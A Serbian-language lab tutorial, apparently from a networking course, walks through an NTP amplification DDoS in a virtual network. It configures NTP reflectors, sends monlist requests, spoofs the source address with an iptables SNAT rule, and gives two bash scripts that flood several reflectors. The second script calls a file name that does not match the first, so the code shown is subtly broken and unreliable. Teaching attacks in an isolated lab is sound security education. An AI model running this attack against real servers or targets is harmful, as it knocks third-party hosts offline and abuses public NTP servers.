NTP DDoS

U prethodnom tekstu opisan je koncept distribuiranog uskraćivanje usluge napad (distributed denial of service – DDoS) korišćenjem ping flooding tehnike. Ping flooding napad u realnom okruženju nije moguće izvesti zato što na internetu mnoge mreže blokiraju ping saobraćaj (ili makar opcije koje dozvoljavaju DDoS napad). Ipak slični koncepti se koriste sa drugim protokolima, npr. DNS, NTP… Potencijalni napad koristi tri faktora: postoje mnogi javno dostupni serveri koji koriste ove protokole (DNS server, NTP vremenski server). Protokoli koriste UDP protokol i oni podržavaju uvećanje podataka poslatih ka meti. Poslednji faktor omogućava zlonamernom čvoru da pošalje malu količinu saobraćaja ka serveru, koji onda odgovara (ka meti) sa mnogo većom količinom saobraćaja.

Neki od najnovijih, registrovanih, DDoS napada su koristili Mrežni Vremenski Protokol (Network Time Protocol – NTP). NTP se koristi da bi računar sinhronizovao svoje vreme sa preciznijim vremenskim serverom. Postoji mnogo javnih vremenskih servera. Starije verzije NTP servera dozvoljavaju klijentu da pošalje zahtev za listom nadgledanih podataka koje server beleži. Lista sadrži podatke o, do 600, različitih računara koji su najskorije komunicirali sa serverom. Ova činjenica dozvoljava zlonamernom računaru da pošalje mali zahtev ka NTP serveru, koji će da odgovori sa veoma velikom količinom podataka. Sa izmenjenom adresom izvora i dosta NTP servera, slanje liste može da se iskoristi za veoma efikasan DDoS napad.

1. Pretpostavke

Da bi se napad uspešno izveo pretpostavlja se da je virtualna mreža konfigurisana tako da može da se izvede ping flooding DoS napad. Pre svega čvorovi moraju da budu konfigurisani koristeći alate tcp i rp_filter.

2. Konfigurisanje NTP servera

Ping flooding napad koristi čvorove reflektore da bi poslao mnogo ping odgovora ka čvoru meti. Iako, u teoriji, svi računari na internetu odgovaraju na ICMP Echo zahtev, sigurnosne opcije u mrežama i na uređajima ozbiljno limitiraju broj poruka koje mogu biti poslate na taj način. NTP napad koristi sličan pristup kao i ping flooding, reflektuje poruke sa normalnih računara na Internetu. Ipak, samo računari na kojima je pokrenut NTP server softver su potencijalni kandidati za reflektovanje poruka.

Prvo je potrebno da instaliramo NTP server na svim reflektor čvorovima. Takođe, instaliraćemo server i na zlonamernom računaru, ne da bi ga koristili kao server, već da iskoristimo pogodnosti NTP klijent servera. Na čvorovima node1, node3, node4, node5 i node6 instaliraćemo NTP server:

student@node:~$ sudo apt-get update
student@node:~$ sudo apt-get install ntp

Na računarima reflektorima (node3, 4, 5 i 6) promenićemo konfiguraciju NTP servera da bi smo dozvolili drugim čvorovima da pristupaju serveru.

student@node:~$ sudo nano /etc/ntp.conf

Na kraju fajla dodaćemo sledeće linije:

server 127.127.1.0
fudge 127.127.1.0 stratum 10
restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap
restrict 192.168.2.0 mask 255.255.255.0 nomodify notrap
restrict 192.168.3.0 mask 255.255.255.0 nomodify notrap

Da bi promene postale aktuelne potrebno je restartovati NTP server:

student@node:~$ sudo service ntp restart
Stopping NTP server ntpd                                          [ OK ]
Starting NTP server ntpd                                          [ OK ]

3. Testiranje NTP servera

NTP serveri su konfigurisani dobiju svoje vreme sa vremenskih servera koje pokreće Ubuntu i drugih. Server će takođe odgovoriti drugim čvorovima u virtualnoj mreži ako pošalju zahtev za sinhronizaciju. Testiraćemo da li je sve konfigurisano kako treba sa čvora koji nema svoj NTP server, npr. čvor node2:

student@node2:~$ sudo ntpdate 192.168.2.21
27 Jan 21:03:45 ntpdate[2710]: step time server 192.168.2.21 offset 3491.154173 sec

Komanda usklađuje vreme na čvoru node2 sa onim na čvoru node3 (NTP server).

4. Traženje liste podataka

NTP DDoS se izvodi tako što klijent pošalje zahtev za listu podataka koju je NTP server prikupio. Da bi se takav zahtev poslao može da se koristi NTP klijent koji postaje dostupan instalacijom NTP servera (zato smo i instalirali NTP server na čvoru node1). Sa čvora node1 pokrećemo komandu:

student@node1:~$ sudo ntpdc -n -c monlist 192.168.2.21
remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
91.189.94.4              123 10.0.2.15             44 4 4    1d0     99       4
203.158.111.32           123 10.0.2.15             47 4 4    1d0     92      11
203.158.111.11           123 10.0.2.15             44 4 4    1d0     99      12
202.28.214.2             123 10.0.2.15             48 4 4    1d0     92      19
203.158.118.2            123 10.0.2.15             48 4 4    1d0     92     145
192.168.2.1              123 192.168.2.21           8 3 4    180    554     278

Podaci koji su prikazani pretstavljaju statističke podatke o računarima koji su skorije komunicirali sa NTP serverom na čvoru node3. Maksimalno 600 redova će biti poslato. U ovom primeru je poslato samo 6 redova, koji uključuju i čvor node2 koji je skorije sinhronizovao časovnik. Slanjem zahteva za sinhronizaciju ka NTP Serveru sa drugih čvorova ova lista može da postane veća.

5. Osnovni NTP DoS napad

Sada posedujemo sve mehanizme da bi smo izveli osnovni NTP DoS napad ka računaru meti. Kao i u ping flooding napadu, postavićemo lažnu adresu izvora na zlonamernom čvoru i aktivirati zahtev za listom podataka koristeći alat ntpdc. U ping flooding napadu lažna adresa izvora je bila postavljena za ICMP pakete, a u NTP napadu biće postavljena za UDP pakete:

student@node1:~$ sudo iptables -t nat -A POSTROUTING -p udp -j SNAT --to-source 192.168.3.31

Koristeći alat tcpdump na različitim čvorovima možemo videti gde se kreće paket sa zahtevom i gde se prosledjuje odgovor. Da bi smo videli koji su sve paketi poslati ka čvoru node8 možemo aktivirati tcpdump na čvoru node7.

6. NTP DDoS napad

Potrebno je da naš NTP klijent (čvor node1) neprestano šalje NTP zahteve za listom podataka ka više reflektora istovremeno da bi efikasno izveli DoS napad. To možemo postići kreiranjem dve skripte. Prva skripta je ntpsalji. Ona šalje NTP zahtev ka više NTP servera paralelno.

#!/bin/bash
# Skripta ntpsalji
# Salje NTP zahtev ka vise NTP servera
args=$#
for (( j=1; j<=$args; j++ )); do
        ntpdc -n -c monlist $1 > /dev/null &
        shift;
done

Druga skripta (“ntpponovi“) koristi “ntpsalji“ da neprestano šalje NTP zahteve ka više NTP servera.

#!/bin/bash
# Skripta ntpponovi
# Neprestano salje NTP zahteve ka vise NTP servera
interval=$1
shift;
n=$1
shift;
for (( i=1; i<=$n; i++ )); do
        bash ntpmany "$@" > /dev/null &
        sleep $interval
done

Obe skripte treba zapamtiti na čvoru node1. Takođe, potrebno je podesiti ovlašćenja tako da se skripte mogu izvršiti:

student@node1:~$ chmod u+x ntpsalji ntpponovi

Skripta ntpponovi kao argumente komandne linije prima sledeće parametre:

  • interval izveđu ponovnog slanja NTP zahteva ka svakom NTP serveru (u sekundama),
  • broj zahteva koje treba poslati ka svakom NTP serveru,
  • lista IP adresa NTP servera

U našem slučaju:

student@node1:~$ sudo ./ntpponovi 0.1 100 192.168.2.21 192.168.2.22 192.168.2.23 192.168.2.24

7. Naredni koraci

Ostaje da se izvrši NTP DDoS napad u virtualnoj mreži, dalje analizira kako on radi i kako se može povećati saobraćaj ka meti. Alatom tcpdump može da se analizira veličina paketa koja se šalje od zlonamernog računara ka serverima i paketa koje prima čvor node7 (samim tim i node8). Kada se u potpunosti razume kako napad radi može se razmišljati i o koracima ka sprečavanju ovog i sličnih DDoS napada.